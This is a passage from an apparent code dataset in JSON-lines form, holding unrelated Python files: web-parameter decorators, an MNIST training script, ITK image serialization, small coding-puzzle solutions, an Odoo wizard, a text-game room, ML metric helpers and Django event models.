isinstance(val, basestring):\n val = val.split(',')\n\n else:\n val = list(val)\n\n elif paction in set(['append', 'append_list']):\n if not isinstance(val, list):\n val = [val]\n\n if paction == 'append_list':\n vs = []\n for v in val:\n if isinstance(v, basestring):\n vs.extend(v.split(','))\n else:\n vs.append(v)\n\n val = vs\n\n else:\n if paction not in set(['store', 'store_false', 'store_true']):\n raise ValueError('unknown param action {}'.format(paction))\n\n if ptype:\n if isinstance(val, list) and ptype != list:\n val = map(ptype, val)\n\n else:\n if isinstance(ptype, type):\n if issubclass(ptype, bool):\n if val in set(['true', 'True', '1']):\n val = True\n elif val in set(['false', 'False', '0']):\n val = False\n else:\n val = ptype(val)\n\n elif issubclass(ptype, str):\n charset = request.charset\n if charset and isinstance(val, unicode):\n val = val.encode(charset)\n else:\n val = ptype(val)\n\n else:\n val = ptype(val)\n\n else:\n val = ptype(val)\n\n if pchoices:\n if val not in pchoices:\n raise CallError(400, \"param {} with value {} not in choices {}\".format(name, val, pchoices))\n\n # at some point this if statement is just going to be too ridiculous\n # FieldStorage check is because of this bug https://bugs.python.org/issue19097\n if not allow_empty and val is not False and not val and not isinstance(val, cgi.FieldStorage):\n if 'default' not in flags:\n raise CallError(400, \"param {} was empty\".format(name))\n\n if min_size is not None:\n failed = False\n if isinstance(val, (int, float)):\n if val < min_size: failed = True\n else:\n if len(val) < min_size: failed = True\n\n if failed:\n raise CallError(400, \"param {} was smaller than {}\".format(name, min_size))\n\n if max_size is not None:\n failed = False\n if isinstance(val, (int, float)):\n if val > max_size: failed = True\n else:\n if len(val) > max_size: failed = True\n\n if failed:\n raise CallError(400, \"param {} was bigger than {}\".format(name, max_size))\n\n if regex:\n failed = False\n if isinstance(regex, basestring):\n if not re.search(regex, val): failed = True\n else:\n if not regex.search(val): failed = True\n\n if failed:\n raise CallError(400, \"param {} failed regex check\".format(name))\n\n kwargs[dest_name] = val\n\n return slf, args, kwargs\n\n def __call__(slf, func):\n position = func.__dict__.get('param_position', 0)\n @wraps(func)\n def wrapper(self, *args, **kwargs):\n slf.position = wrapper.__dict__.get('param_position', 0)\n self, args, kwargs = slf.normalize_param(self, args, kwargs)\n return func(self, *args, **kwargs)\n\n position = wrapper.__dict__.setdefault('param_position', position + 1)\n return wrapper\n\n\nclass get_param(param):\n \"\"\"same as param, but only checks GET params\"\"\"\n def find_param(self, names, required, default, request, args, kwargs):\n try:\n return super(get_param, self).find_param(\n names,\n required,\n default,\n request,\n args,\n request.query_kwargs\n )\n\n except CallError:\n raise CallError(400, \"required param {} was not present in GET params\".format(self.name))\n\n\nclass post_param(param):\n \"\"\"same as param but only checks POST params\"\"\"\n def find_param(self, names, required, default, request, args, kwargs):\n try:\n return super(post_param, self).find_param(\n names,\n required,\n default,\n request,\n args,\n request.body_kwargs\n )\n\n except CallError:\n raise CallError(400, \"required param {} was not present in POST params\".format(self.name))\n\n\nclass require_params(object):\n \"\"\"\n if you want to make sure that certain params are present in the request\n\n If the request is a GET request, then the params checked are in the query string,\n if the method is POST, PUT, then the params checked are in the body\n\n example --\n # make request fail if foo and bar aren't in the request body\n @require_params(\"foo\", \"bar\")\n def POST(self, *args, **kwargs):\n pass\n\n **param_options -- dict\n allow_empty -- boolean -- True if passed in param names can have values\n that evaluate to False (like 0 or \"\")\n \"\"\"\n def __init__(self, *req_param_names, **param_options):\n self.req_param_names = req_param_names\n self.param_options = param_options\n\n def __call__(slf, func):\n param_options = slf.param_options\n req_param_names = slf.req_param_names\n not_empty = not param_options.pop('allow_empty', False)\n\n @wraps(func)\n def decorated(self, *args, **kwargs):\n for req_param_name in req_param_names:\n if req_param_name not in kwargs:\n raise CallError(400, \"required param {} was not present\".format(req_param_name))\n\n if not_empty and not kwargs[req_param_name]:\n raise CallError(400, \"required param {} was empty\".format(req_param_name))\n\n return func(self, *args, **kwargs)\n\n return decorated\n\n","sub_path":"endpoints/decorators/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"573060564","text":"import matplotlib.pyplot as plt\nfrom tensorflow import keras\nimport numpy as np\nimage_number = 23 \ndata = keras.datasets.mnist\n(train_images, train_labels), (test_images, test_labels) = data.load_data()\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=\"relu\"),\n keras.layers.Dense(10, activation=\"softmax\")\n])\nmodel.compile(optimizer=\"adam\", loss=\"sparse_categorical_crossentropy\", metrics=[\"accuracy\"])\nmodel.fit(train_images, train_labels, epochs=1)\nloss, acc = model.evaluate(test_images, test_labels)\nprint(f\"{acc*100}% accuracy\")\npredictions = model.predict(test_images)\nprint(np.argmax(predictions[image_number]))\nplt.imshow(test_images[image_number].reshape(28, 28), cmap='gray')\nplt.show()\n\n","sub_path":"numbers_tensorflow.py","file_name":"numbers_tensorflow.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"601592895","text":"import os\nimport six\n\nimport traitlets\nimport itk\nimport numpy as np\ntry:\n import zstandard as zstd\nexcept ImportError:\n import zstd\ntry:\n from functools import reduce\nexcept ImportError:\n pass\n\ndef is_arraylike(arr):\n return hasattr(arr, 'shape') and \\\n hasattr(arr, 'dtype') and \\\n hasattr(arr, '__array__') and \\\n hasattr(arr, 'ndim')\n\nhave_imglyb = False\ntry:\n import imglyb\n have_imglyb = True\nexcept ImportError:\n pass\nhave_vtk = False\ntry:\n import vtk\n have_vtk = True\nexcept ImportError:\n pass\n\nclass ITKImage(traitlets.TraitType):\n \"\"\"A trait type holding an itk.Image object\"\"\"\n\n info_text = 'An N-dimensional, potentially multi-component, scientific ' + \\\n 'image with origin, spacing, and direction metadata'\n\n # Hold a reference to the source object to use with shallow views\n _source_object = None\n\n def validate(self, obj, value):\n if is_arraylike(value):\n array = np.asarray(value)\n self._source_object = array\n if array.flags['OWNDATA']:\n image_from_array = itk.GetImageViewFromArray(array)\n else:\n image_from_array = itk.GetImageFromArray(array)\n return image_from_array\n elif have_vtk and isinstance(value, vtk.vtkImageData):\n from vtk.util import numpy_support as vtk_numpy_support\n array = vtk_numpy_support.vtk_to_numpy(value.GetPointData().GetScalars())\n array.shape = tuple(value.GetDimensions())[::-1]\n self._source_object = array\n image_from_array = itk.GetImageViewFromArray(array)\n image_from_array.SetSpacing(value.GetSpacing())\n image_from_array.SetOrigin(value.GetOrigin())\n return image_from_array\n elif have_imglyb and isinstance(value,\n imglyb.util.ReferenceGuardingRandomAccessibleInterval):\n array = imglyb.to_numpy(value)\n self._source_object = array\n image_from_array = itk.GetImageViewFromArray(array)\n return image_from_array\n\n try:\n # an itk.Image or a filter that produces an Image\n # return itk.output(value)\n # Working around traitlets / ipywidgets update mechanism to\n # force an update. While the result of __eq__ can indicate it is\n # the same object, the actual contents may have changed, as\n # indicated by image.GetMTime()\n value = itk.output(value)\n self._source_object = value\n grafted = value.__New_orig__()\n grafted.Graft(value)\n return grafted\n except:\n self.error(obj, value)\n\ndef _image_to_type(itkimage):\n component_str = repr(itkimage).split('itkImagePython.')[1].split(';')[0][8:]\n if component_str[:2] == 'UL':\n if os.name == 'nt':\n return 'uint32_t',\n else:\n return 'uint64_t',\n mangle = None\n pixelType = 1\n if component_str[:2] == 'SL':\n if os.name == 'nt':\n return 'int32_t', 1,\n else:\n return 'int64_t', 1,\n if component_str[0] == 'V':\n # Vector\n mangle = component_str[1]\n pixelType = 5\n elif component_str[:2] == 'CF':\n # complex flot\n return 'float', 10\n elif component_str[:2] == 'CD':\n # complex flot\n return 'double', 10\n elif component_str[0] == 'C':\n # CovariantVector\n mangle = component_str[1]\n pixelType = 7\n elif component_str[0] == 'O':\n # Offset\n return 'int64_t', 4\n elif component_str[:2] == 'FA':\n # FixedArray\n mangle = component_str[2]\n pixelType = 11\n elif component_str[:4] == 'RGBA':\n # RGBA\n mangle = component_str[4:-1]\n pixelType = 3\n elif component_str[:3] == 'RGB':\n # RGB\n mangle = component_str[3:-1]\n pixelType = 2\n elif component_str[:4] == 'SSRT':\n # SymmetricSecondRankTensor\n mangle = component_str[4:-1]\n pixelType = 8\n else:\n mangle = component_str[:-1]\n _python_to_js = {\n 'SC':'int8_t',\n 'UC':'uint8_t',\n 'SS':'int16_t',\n 'US':'uint16_t',\n 'SI':'int32_t',\n 'UI':'uint32_t',\n 'F':'float',\n 'D':'double',\n 'B':'uint8_t'\n }\n return _python_to_js[mangle], pixelType\n\ndef itkimage_to_json(itkimage, manager=None):\n \"\"\"Serialize a Python itk.Image object.\n\n Attributes of this dictionary are to be passed to the JavaScript itkimage\n constructor.\n \"\"\"\n if itkimage is None:\n return None\n else:\n direction = itkimage.GetDirection()\n directionMatrix = direction.GetVnlMatrix()\n directionList = []\n dimension = itkimage.GetImageDimension()\n pixelArr = itk.GetArrayViewFromImage(itkimage)\n compressor = zstd.ZstdCompressor(level=3)\n compressed = compressor.compress(pixelArr.data)\n pixelArrCompressed = memoryview(compressed)\n for col in range(dimension):\n for row in range(dimension):\n directionList.append(directionMatrix.get(row, col))\n componentType, pixelType = _image_to_type(itkimage)\n imageType = dict(\n dimension=dimension,\n componentType=componentType,\n pixelType=pixelType,\n components=itkimage.GetNumberOfComponentsPerPixel()\n )\n return dict(\n imageType=imageType,\n origin=tuple(itkimage.GetOrigin()),\n spacing=tuple(itkimage.GetSpacing()),\n size=tuple(itkimage.GetBufferedRegion().GetSize()),\n direction={'data': directionList,\n 'rows': dimension,\n 'columns': dimension},\n compressedData=pixelArrCompressed\n )\n\n\ndef _type_to_image(jstype):\n _pixelType_to_prefix = {\n 1:'',\n 2:'RGB',\n 3:'RGBA',\n 4:'O',\n 5:'V',\n 7:'CV',\n 8:'SSRT',\n 11:'FA'\n }\n pixelType = jstype['pixelType']\n dimension = jstype['dimension']\n if pixelType == 10:\n if jstype['componentType'] == 'float':\n return itk.Image[itk.complex, itk.F], np.float32\n else:\n return itk.Image[itk.complex, itk.D], np.float64\n\n def _long_type():\n if os.name == 'nt':\n return 'LL'\n else:\n return 'L'\n prefix = _pixelType_to_prefix[pixelType]\n _js_to_python = {\n 'int8_t':'SC',\n 'uint8_t':'UC',\n 'int16_t':'SS',\n 'uint16_t':'US',\n 'int32_t':'SI',\n 'uint32_t':'UI',\n 'int64_t':'S' + _long_type(),\n 'uint64_t':'U' + _long_type(),\n 'float': 'F',\n 'double': 'D'\n }\n _js_to_numpy_dtype = {\n 'int8_t': np.int8,\n 'uint8_t': np.uint8,\n 'int16_t': np.int16,\n 'uint16_t': np.uint16,\n 'int32_t': np.int32,\n 'uint32_t': np.uint32,\n 'int64_t': np.int64,\n 'uint64_t': np.uint64,\n 'float': np.float32,\n 'double': np.float64\n }\n dtype = _js_to_numpy_dtype[jstype['componentType']]\n if pixelType != 4:\n prefix += _js_to_python[jstype['componentType']]\n if pixelType not in (1, 2, 3, 10):\n prefix += str(dimension)\n prefix += str(dimension)\n return getattr(itk.Image, prefix), dtype\n\ndef itkimage_from_json(js, manager=None):\n \"\"\"Deserialize a Javascript itk.js Image object.\"\"\"\n if js is None:\n return None\n else:\n ImageType, dtype = _type_to_image(js['imageType'])\n decompressor = zstd.ZstdDecompressor()\n if six.PY2:\n asBytes = js['compressedData'].tobytes()\n pixelBufferArrayCompressed = np.frombuffer(asBytes, dtype=dtype)\n else:\n pixelBufferArrayCompressed = np.frombuffer(js['compressedData'], dtype=dtype)\n pixelCount = reduce(lambda x, y: x*y, js['size'], 1)\n numberOfBytes = pixelCount * js['imageType']['components'] * np.dtype(dtype).itemsize\n pixelBufferArray = \\\n np.frombuffer(decompressor.decompress(pixelBufferArrayCompressed,\n numberOfBytes),\n dtype=dtype)\n pixelBufferArray.shape = js['size'][::-1]\n image = itk.PyBuffer[ImageType].GetImageFromArray(pixelBufferArray)\n Dimension = image.GetImageDimension()\n image.SetOrigin(js['origin'])\n image.SetSpacing(js['spacing'])\n direction = image.GetDirection()\n directionMatrix = direction.GetVnlMatrix()\n directionJs = js['direction']['data']\n for col in range(Dimension):\n for row in range(Dimension):\n directionMatrix.put(row, col, directionJs[col + row * Dimension])\n return image\n\nitkimage_serialization = {\n 'from_json': itkimage_from_json,\n 'to_json': itkimage_to_json\n}\n","sub_path":"itkwidgets/trait_types.py","file_name":"trait_types.py","file_ext":"py","file_size_in_byte":8916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"383991699","text":"# -*- coding: utf-8 -*- \r\nimport numpy as np\r\n\r\nn = int(input())\r\nt = list(map(int,input().split()))\r\nv = list(map(int,input().split()))\r\n\r\n\r\n#dp = [[0 for i in range(w+1)] for j in range(n+1)]\r\ndp = np.zeros((n+1,w+1),dtype='int')\r\n\r\nfor i in range(1,n+1):\r\n for j in range(1,w+1):\r\n if(j < a[i-1]):\r\n dp[i][j] = dp[i-1][j]\r\n else:\r\n dp[i][j] = max(dp[i-1][j],dp[i-1][j-a[i-1]]+b[i-1])\r\nprint(dp) ","sub_path":"BeginnerContest/077D.py","file_name":"077D.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"358898368","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport os\nimport sys\n\nfrom mock import MagicMock, patch\n\nfrom splunk_eventgen.__main__ import parse_args\nfrom splunk_eventgen.eventgen_core import EventGenerator\nfrom splunk_eventgen.lib.plugins.output.syslogout import SyslogOutOutputPlugin\n\nFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\nclass TestSyslogOutputPlugin(object):\n def test_output_data_to_syslog(self):\n configfile = \"tests/sample_eventgen_conf/medium_test/eventgen.conf.syslogoutput\"\n testargs = [\"eventgen\", \"generate\", configfile]\n with patch.object(sys, \"argv\", testargs):\n with patch(\"logging.getLogger\"):\n pargs = parse_args()\n assert pargs.subcommand == \"generate\"\n assert pargs.configfile == configfile\n eventgen = EventGenerator(args=pargs)\n\n sample = MagicMock()\n sample.name = \"test\"\n sample.syslogDestinationHost = \"127.0.0.1\"\n sample.syslogDestinationPort = 9999\n syslogoutput = SyslogOutOutputPlugin(sample)\n\n eventgen.start()\n for i in range(1, 6):\n appearance = False\n for logger_call in syslogoutput._l.info.call_args_list:\n if \"WINDBAG Event {} of 5\".format(i) in str(logger_call):\n appearance = True\n if not appearance:\n assert False\n","sub_path":"tests/medium/plugins/test_syslog_output.py","file_name":"test_syslog_output.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"354720650","text":"'''\nConvert the raw ID3.txt to a csv file\nRemove the boolean value\n'''\n\nfile = open(\"Raw_Data\\\\ID3.txt\", \"r\")\ndest = open(\"Trans_Data\\\\ID3_new.csv\", \"w\")\ndest.write(\"latitude,longitude,time\\n\")\ndestList= []\n# Number of line to keep\nnbLineTODo = 10000000\ni = 0\n\nfor l in file:\n if i > nbLineTODo:\n break\n elif i == 0:\n i += 1\n continue\n pieces = l.split(\",\")\n newL = \"+\" + \",\".join([x for i, x in enumerate(pieces) if i in (0, 1, 3)])\n destList.append(newL)\n\ndestList.reverse()\nfor l in destList:\n dest.write(l)\n\nfile.close()\ndest.close()\n","sub_path":"convertID3.py","file_name":"convertID3.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"135090912","text":"name = 'Река'\n\nactions = [ 'Грести руками' ]\n\n\n\n\ndef get_actions(user):\n if user.has_item('m79'):\n actions.append('Использовать М79')\n if user.has_item('m-16'):\n actions.append('Использовать М-16')\n return actions\n\n\ndef enter(user, reply):\n reply( 'Дверь, через которую вы вошли, магическим образом исчезла.\\n'\n 'Вы решаете осмотреться и замечаете лодку, стоящую неподалёку.\\n'\n 'Вам ничего не остаётся, кроме как сесть в лодку и переплыть препятствие.\\n')\n user.set_room_temp('rvr', 0)\n\n\ndef action(user, reply, text):\n global rvr\n if text == actions[0]:\n rvr += 1\n reply('Вы гребёте руками. Кажется, что скоро конец')\n print(rvr)\n if rvr > 8:\n msg = ''\n if user.has_item('m-16'):\n user.remove_item('m-16')\n msg += 'Вы уронили свой М-16, пока плыли. Ну хоть себя не выронили.\\n'\n msg += 'Вы пристаёте к другому концу берега, вылезаете из лодки.\\n'\n msg += 'Единственное место, куда вы можете пойти здесь - едва приоткрытая дверь.\\n'\n msg += 'Вы открываете дверь... И выхо��ите в коридор!'\n reply(msg)\n rvr = 0\n user.leave(reply)\n elif user.has_item('m79'):\n rvr += 1\n reply('Вы вспоминаете, что у вас есть М79, берёте его в руки и гребёте им.')\n if rvr > 8:\n msg = ''\n if user.has_item('m-16'):\n user.remove_item('m-16')\n msg += 'Вы уронили свой М-16, пока плыли. Ну хоть себя не выронили.\\n'\n msg += 'Вы пристаёте к другому концу берега, вылезаете из лодки.\\n'\n msg += 'Единственное место, куда вы можете пойти здесь - едва приоткрытая дверь.\\n'\n msg += 'Вы открываете дверь... И выходите в коридор!'\n reply(msg)\n rvr = 0\n user.leave(reply)\n else:\n rvr += 1\n reply('Вы вспоминаете, что у вас есть М-16, берёте его в руки и гребёте им.')\n if rvr > 8:\n user.remove_item('m-16')\n reply('Вы пристаёте к другому концу берега, вылезаете из лодки. Ваш М-16 не выдержал такого нахальства и рассыпался прямо у вас в руках.\\n'\n '- Ну и чёрт с ним, - подумали вы.\\n'\n 'Единственное место, куда вы можете пойти здесь - едва приоткрытая дверь.\\n'\n 'Вы открываете дверь... И выходите в коридор!')\n user.leave(reply)\n rvr = 0\n","sub_path":"rooms/monster/vietnam/river.py","file_name":"river.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"325678333","text":"\nfrom odoo import models, fields, api\n\n\nclass ProductAttributeWizard(models.TransientModel):\n _name = 'product.attribute.wizard'\n\n value_ids = fields.Many2many('product.attribute.value')\n attribute_id = fields.Many2one('product.attribute')\n\n def action_create_attribute(self):\n model = self.env.context.get('active_model')\n rec_model = self.env[model].browse(self.env.context.get('active_id'))\n if rec_model.attribute_line_ids:\n for rec in rec_model.attribute_line_ids:\n if rec.attribute_id.id == self.attribute_id.id:\n att_list = []\n for attr in rec.value_ids:\n att_list.append(attr.id)\n for x in self.value_ids:\n att_list.append(x.id)\n rec.write({\n 'value_ids': att_list,\n })\n else:\n vals = {\n 'attribute_id': self.attribute_id.id,\n 'value_ids': self.value_ids.ids,\n 'product_tmpl_id': rec_model.id\n }\n # rec_model.attribute_line_ids = val_list\n # for res in rec_model.attribute_line_ids:\n # if res.attribute_id.id == self.attribute_id.id:\n # # att_list = []\n # # for attr in rec.value_ids:\n # # att_list.append(attr.id)\n # # for x in self.value_ids:\n # # att_list.append(x.id)\n # res.update({\n # 'value_ids': self.value_ids.ids,\n # })\n pro = self.env['product.template.attribute.line'].create(vals)\n self.assign_sequence_in_variant()\n\n def assign_sequence_in_variant(self):\n model = self.env.context.get('active_model')\n rec_model = self.env[model].browse(self.env.context.get('active_id'))\n count = 0\n print(rec_model.product_variant_ids)\n for variant in rec_model.product_variant_ids:\n count += 1\n variant.product_seq = str(00) + str(00) + str(0) + str(count)\n variant.item_code = rec_model.product_temp_seq + variant.product_seq\n return\n\n","sub_path":"product_sequence/models/product_attribute_wizard.py","file_name":"product_attribute_wizard.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"513553385","text":"def copy_path(root_src_dir, root_dst_dir, exclude_files=[]):\r\n\r\n from shutil import copy\r\n import os\r\n\r\n for src_dir, dirs, files in os.walk(root_src_dir):\r\n dst_dir = src_dir.replace(root_src_dir, root_dst_dir)\r\n if not os.path.exists(dst_dir):\r\n os.makedirs(dst_dir)\r\n for f in files:\r\n if f not in exclude_files:\r\n src_file = os.path.join(src_dir, f)\r\n dst_file = os.path.join(dst_dir, f)\r\n copy(src_file, dst_file)\r\n","sub_path":"project/SciProgHF/test/runtest/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"283971547","text":"\"\"\"\nProblem:\n\nGiven a m x n grid filled with non-negative numbers, find a path from top left to bottom right which minimizes the sum of all numbers along its path.\n\nNote: You can only move either down or right at any point in time.\n\"\"\"\n\n\"\"\"\nSolution:\n\nThis is a typical dynamic programming problem. \n\nThe minimum path to position (i,j) is the minimum among the choice of going down from (i-1,j) and going right from (i,j-1).\n\nIn order to reduce the space for the problem, only a row of the dynamic table is needed instead of the whole dynamic programming table\nwith the same size of grid.\n\"\"\"\n\nclass Solution(object):\n def minPathSum(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n m = len(grid)\n n = len(grid[0])\n pathSum = [[None]*n for _ in range(m)]\n pathSum[0][0] = grid[0][0]\n for j in range(1,n):\n pathSum[0][j] = grid[0][j] + pathSum[0][j-1]\n for i in range(1,m):\n pathSum[i][0] = grid[i][0] + pathSum[i-1][0]\n for i in range(1,m):\n for j in range(1,n):\n pathSum[i][j] = min(pathSum[i-1][j], pathSum[i][j-1]) + grid[i][j]\n return pathSum[-1][-1]\n \n","sub_path":"64_Minimum_Path_Sum.py","file_name":"64_Minimum_Path_Sum.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"246452759","text":"import sys\nimport CheshirePy as c\n\nif c.init('../index/testconfig.new') == 0:\n print (\"Opened Cheshire config file %s\" % c.showconfig())\nelse:\n print(\"failed to open configuration file - exiting\")\n exit()\n \nif c.setdb('bibfile') == 0:\n print (\"Set database to bibfile\")\nelse:\n print(\"failed to set database\")\n exit()\n\nsearchstr = 'topic @ mathematics programming'\n\nprint (\"searching for '%s'\" % searchstr)\n\nr = c.Search(searchstr)\n\nn = c.getnumfound(r)\nprint (\"%d records found\" % n)\n\ni = 0\n\nwhile i < n :\n rec = c.getrecord(r,i)\n rel = c.getrelevance(r,i)\n print(\"*********************************************\")\n print(\"Rank: %d Relevance: %f\" % (i, rel))\n print(rec)\n print(\"*********************************************\")\n i += 1\n\nc.closeresult(r)\nprint(\"End of record set\")\n\nexit()\n","sub_path":"CheshirePy/testscp.py","file_name":"testscp.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"151736200","text":"\"\"\"\nGiven 3 int values, a, b, c, return their sum.\nHowever, if one of the values is 13 then it does not count towards the sum and values to its right do not count.\n\"\"\"\n\ndef lucky_sum(a, b, c):\n l = [a, b, c]\n total = 0\n i = 0\n while i < 3:\n if l[i] == 13:\n break\n else:\n total += l[i]\n i += 1\n return total\n\nprint(lucky_sum(1, 13, 2))","sub_path":"Logic-2/3. lucky_sum.py","file_name":"3. lucky_sum.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"589365815","text":"import pandas as pd\nfrom scipy.stats import trim_mean, kurtosis\nfrom fastai.imports import *\nfrom fastai.structured import *\nfrom tabulate import tabulate\nfrom sklearn.ensemble import RandomForestClassifier\nfrom matplotlib import pyplot\nfrom sklearn.metrics import f1_score,\\\n accuracy_score, confusion_matrix,\\\n precision_score, recall_score,\\\n roc_curve, roc_auc_score,\\\n cohen_kappa_score, mean_absolute_error,\\\n precision_recall_curve, auc,\\\n average_precision_score\n\n# Constants\nPROBABILITY_CUTOFF = 0.50\n\ndef split_vals(a,n): return a[:n], a[n:]\n\ndef display_all(df):\n with pd.option_context(\"display.max_rows\", 1000, \"display.max_columns\", 1000):\n display(df)\n\ndef general_stats(df, feature):\n array = data_summary_feature(df, feature)\n print(array[0])\n print(\"\")\n count = 1\n for heading in ['Min', 'Max', 'Mean', 'Trimmed Mean', 'Median', 'Std', 'CV']:\n print(f\"{heading}: {array[count]}\")\n count += 1\n\n# Utility functions\ndef plot_roc_pr(m, X_valid, y_valid):\n # Generate the probabilities\n #y_pred_prob = generate_predictions(X_valid)\n y_pred_prob = m.predict_proba(X_valid)\n y_pred_prob = y_pred_prob[:, 1]\n\n # Calculate the roc metrics\n fpr, tpr, thresholds = roc_curve(y_valid, y_pred_prob)\n\n fig, ax = plt.subplots(figsize=(10,10))\n\n # Add labels and diagonal line\n plt.xlabel(\"False Positive Rate / Recall\")\n plt.ylabel(\"True Positive Rate / Precision\")\n plt.plot([0, 1], [0, 1], \"k--\", label='no skill')\n plt.plot([0,0,1,1],[0,1,1,1],'g-',label='perfect')\n\n # Plot a precision-recall curve\n precision, recall, thresholds = precision_recall_curve(y_valid, y_pred_prob)\n area_under_curve = auc(recall, precision)\n ap = average_precision_score(y_valid, y_pred_prob)\n\n # Plot the ROC curve\n plt.plot(fpr,tpr, label='AUC: %.3f'%area_under_curve)\n\n # plot no skill\n pyplot.plot([0, 1], [0.5, 0.5], linestyle='--', color='magenta', label='no skill')\n # plot the precision-recall curve for the model\n pyplot.plot(recall, precision, marker='.', color='orange', label='precision-recall')\n\n legend = ax.legend(loc='best', shadow=True, fontsize='medium')\n\n # show the plot\n pyplot.show()\n\n # Output AUC and average precision score\n print('auc=%.3f ap=%.3f' % (area_under_curve, ap))\n\ndef uber_score(y_valid, validate_predictions):\n print(f\"Precision: {precision_score(y_valid,validate_predictions)}\")\n print(f\"Recall: {recall_score(y_valid,validate_predictions)}\")\n print(f\"f1_score: {f1_score(y_valid,validate_predictions)}\")\n print(f\"Accuracy: {accuracy_score(y_valid,validate_predictions)}\")\n print(f\"kappa: {cohen_kappa_score(y_valid,validate_predictions)}\")\n print(f\"mean abs error: {mean_absolute_error(y_valid,validate_predictions)}\")\n\ndef graph_corr(data_frame):\n fig, ax = plt.subplots(figsize=(20,10))\n corr = data_frame.corr()\n sns.heatmap(corr, cmap='YlGnBu', annot_kws={'size':30}, ax=ax)\n ax.set_title(\"Correlation Matrix\", fontsize=14)\n plt.show()\n\ndef data_summary_feature(data_frame, feature):\n \"\"\"\n Doc string\n \"\"\"\n\n max_value = data_frame[feature].max()\n min_value = data_frame[feature].min()\n mean = data_frame[feature].mean()\n median = data_frame[feature].median()\n mode = data_frame[feature].mode()\n std = data_frame[feature].std()\n co_variant = data_frame[feature].std()/data_frame[feature].mean()\n trimmed_mean = trim_mean(data_frame[feature].values, 0.1)\n return [feature, min_value, max_value, mean, trimmed_mean, median, mode, std, co_variant]\n\ndef data_summary_dataframe(data_frame):\n array = []\n for feature in data_frame.select_dtypes(include=['float64', 'int64']).columns:\n array.append(data_summary_feature(data_frame, feature))\n\n print(tabulate(array, headers=['Column', 'Min', 'Max',\n 'Mean', 'Trimmed Mean',\n 'Median', 'Std', 'cv'], tablefmt=\"simple\"))\n\ndef conf_matrix(y_valid, validate_predictions):\n confusion_matrix_data = confusion_matrix(y_valid, validate_predictions)\n print(\"tp, fn, fp, tn\")\n print(confusion_matrix_data)\n","sub_path":"lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"63739303","text":"# coding=utf-8\n\nfrom datetime import datetime\nfrom dateutil import rrule\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom django.utils.functional import cached_property\nfrom django.db import models\nfrom django.core.urlresolvers import reverse\nfrom imagekit.models import ImageSpecField\nfrom imagekit.processors import ResizeToFill\nfrom connection.models import EnjoyTodayUser\nfrom location.models import City\nfrom core.models import Topic\nfrom django.contrib.sites.models import Site\nfrom django.contrib.sites.managers import CurrentSiteManager\n\n\n__all__ = (\n 'EventType',\n 'Event',\n 'Occurrence',\n)\n\n\n# ==============================================================================\n@python_2_unicode_compatible\nclass EventType(models.Model):\n \"\"\"\n Simple ``Event`` classification.\n \"\"\"\n topic = models.ForeignKey(Topic,\n verbose_name='Thematique',\n default=None,\n null=True,\n on_delete=models.SET_DEFAULT)\n\n label = models.CharField(verbose_name='label',\n max_length=50,\n default='autres')\n\n image = models.ImageField(default=None,\n null=True,\n upload_to='event_types/')\n\n #image_main = ImageSpecField(source='image',\n #processors=[ResizeToFit(450, 300)],\n #format='JPEG',\n #options={'quality': 100})\n\n # ==========================================================================\n class Meta:\n verbose_name = 'event type'\n verbose_name_plural = 'event types'\n\n # --------------------------------------------------------------------------\n def __str__(self):\n return self.label\n\n def get_absolute_url(self):\n return reverse('topic:event_type_coming_days',\n kwargs={'event_type_id_string': str(self.pk)},\n current_app=self.topic.name)\n\n# ==============================================================================\n@python_2_unicode_compatible\nclass Event(models.Model):\n \"\"\"\n Container model for general metadata and associated ``Occurrence`` entries.\n \"\"\"\n image = models.ImageField(verbose_name=\"Image\",\n default=None,\n null=True,\n upload_to='events/')\n\n title = models.CharField(verbose_name=\"Titre\",\n max_length=100,\n default=None,\n null=True)\n\n description = models.TextField(verbose_name=\"Description\",\n default=None,\n null=True)\n\n event_type = models.ForeignKey(EventType,\n verbose_name=\"Catégorie\",\n default=None,\n null=True,\n on_delete=models.SET_DEFAULT,\n )\n\n price = models.PositiveSmallIntegerField(verbose_name=\"Prix en euros\",\n default=0)\n\n contact = models.CharField(verbose_name=\"Coordonnées du contact éventuel\",\n max_length=150,\n default=\"non précisé\",\n null=True,\n blank=True)\n\n website = models.CharField(verbose_name=\"Lien vers le site officiel de l'événement\",\n max_length=150,\n default=\"non précisé\",\n null=True,\n blank=True)\n\n image_main = 